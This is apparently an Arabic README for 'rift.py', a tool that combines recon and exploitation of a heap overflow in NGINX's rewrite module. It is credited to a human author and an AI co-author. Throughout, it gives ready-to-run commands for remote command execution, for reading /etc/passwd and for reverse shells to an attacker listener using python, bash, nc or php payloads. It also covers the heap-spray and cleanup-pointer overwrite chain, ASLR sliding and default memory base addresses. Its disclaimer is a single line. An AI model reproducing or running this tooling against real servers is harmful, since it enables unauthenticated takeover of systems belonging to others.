
تم العثور على خلل في NGINX، وتحديدًا داخل ngx_http_rewrite_module. يمكن للمهاجم غير المصادق عليه استغلال هذه الثغرة عن طريق إرسال طلبات HTTP مصممة خصيصًا تحت تكوينات إعادة كتابة محددة. يمكن أن يؤدي ذلك إلى تجاوز سعة المخزن المؤقت على الكومة في عملية NGINX العاملة، مما قد يؤدي إلى تنفيذ تعليمات برمجية عشوائية.
المؤلف: Michael Sanji Winaya Prawiradibrata
المؤلف المشارك بالذكاء الاصطناعي: Varanus — صديقي
إطار عمل لاستغلال تجاوز سعة المخزن المؤقت للكومة يستهدف وحدة
ngx_http_rewrite_moduleالخاصة بـ NGINX.
أداة واحدة للاستطلاع + الاستغلال. بدون تبعيات خارجية.
| الملف | الوصف |
|---|---|
rift.py | الأداة الرئيسية. مزيج من الاستطلاع والاستغلال في نص واحد (1026 سطرًا). |
README.md | هذه الوثيقة. |
# 1. استطلاع كامل — كشف الإصدار، نقاط النهاية، الثغرات، الاستراتيجية
python3 rift.py --target 10.10.10.10 --recon
# 2. استطلاع + استغلال في جولة واحدة
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. تنفيذ أمر
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. شل عكسي (فتح المستمع تلقائيًا)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. شل عكسي باستخدام bash (بدلاً من python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. فقط تحقق من قابلية الاستغلال
python3 rift.py --target 10.10.10.10 --check-only
عند استخدام --shell، يقوم السكريبت تلقائيًا بـ:
--shell-type--lportnc -lvnp)، والرجوع إلى مستمع Pythonإذا فشلت العناوين الافتراضية، يقوم السكريبت تلقائيًا بتحريك قاعدة الكومة ±5 خطوات × 0x10000، بحثًا عن عنوان مناسب. لا حاجة لإعداد يدوي.
4 أنواع من حمولات الشل — python، bash، nc، php. اختر ما هو متاح على الهدف.
--recon ينفذ 5 مراحل:
--output json للتكامل مع أدوات أخرى أو التحليل الآلي.
الهدف من الاستغلال هو NGINX بالتكوين التالي rewrite + set:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # حساب الطول باستخدام is_args = 0
}
النتيجة: المخزن المؤقت المخصص صغير جدًا، ويؤدي هروب URI (توسع 3 أضعاف) إلى تجاوز السعة.
1. رش الكومة ─── POST /spray × 20 → زرع ngx_pool_cleanup_s وهمي في الكومة
2. التشغيل ───── GET /api/AAAA...++++... → تجاوز عبر هروب URI
3. الإفساد ───── الكتابة فوق مؤشر التنظيف للمسبح المجاور
4. التنفيذ ───── تدمير المسبح → استدعاء system("command")
rift.py)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080، --port 443--auto للانزلاق التلقائي لـ ASLR--verbose لرؤية تفاصيل كل محاولةsudo ufw allow 4444--lhost — تأكد من صحة IP المحلي--shell-type bash أو --shell-type ncأُنشئ لأغراض تعليمية واختبار الأمان المصرح به فقط.
استخدامه ضد أنظمة دون إذن هو غير قانوني.
© 2026 Michael Sanji Winaya Prawiradibrata
المؤلف المشارك بالذكاء الاصطناعي: Varanus
| العلامة | الوظيفة |
|---|
--recon | استطلاع كامل. بصمة → تسريب معلومات → اختبار نقطة النهاية → عدد العمال → استراتيجية. |
--auto | استطلاع + استغلال تلقائي. نفس --recon ثم الاستغلال. |
--check-only | فحص سريع. كشف NGINX، الإصدار، نقطة النهاية /api/. |
--cmd "command" | تنفيذ أمر واحد عبر system(). |
--shell | شل عكسي — فتح المستمع تلقائيًا، إرسال الحمولة، استقبال الاتصال. |
| العلم | الافتراضي | الوظيفة |
|---|
--port | 80 | منفذ الهدف |
--lhost | — | عنوان IP المحلي للشل العكسي (إلزامي مع --shell) |
--lport | 4444 | المنفذ المحلي للمستمع |
--shell-type | python | حمولة الشل العكسي: python، bash، nc، php |
--heap-base | 0x555555659000 | عنوان قاعدة الكومة (تجاوز لتفادي ASLR) |
--libc-base | 0x7ffff77ba000 | عنوان قاعدة libc |
--tries | 10 | محاولات لكل عنوان مرشح |
--verbose / -v | — | إخراج تفصيلي لكل محاولة |
| العلامة | الوظيفة |
|---|
--fingerprint | كشف إصدار NGINX، نقاط النهاية، وحدة إعادة الكتابة |
--leak | فحص تسريب المعلومات (عنوان الذاكرة في صفحة الخطأ، التوقيت) |
--test-endpoint | اختبار سلوك نقطة النهاية بحمولات مختلفة |
--endpoint | مسار نقطة النهاية للاختبار (الافتراضي: /api/) |
--generate-exploit | إنشاء سكريبت استغلال خاص بعنوان الهدف |
--output json | إخراج بصيغة JSON (قابل للقراءة آليًا) بالتزامن مع إخراج الطرفية |
| الثابت | الافتراضي | المعنى |
|---|
BODY_LEN | 4000 | حجم نص الرش (بايت) |
N_SPRAY | 20 | عدد طلبات POST لكل محاولة |
LIBC_SYSTEM_OFFSETS | 7 إدخالات | إزاحة system() لتوزيعات مختلفة |
PREREAD_HEAP_OFFSETS | 19 إدخالاً | إزاحات الكومة المرشحة |
DEFAULT_HEAP_BASE | 0x555555659000 | قاعدة الكومة (ASLR معطل) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | قاعدة libc (ASLR معطل) |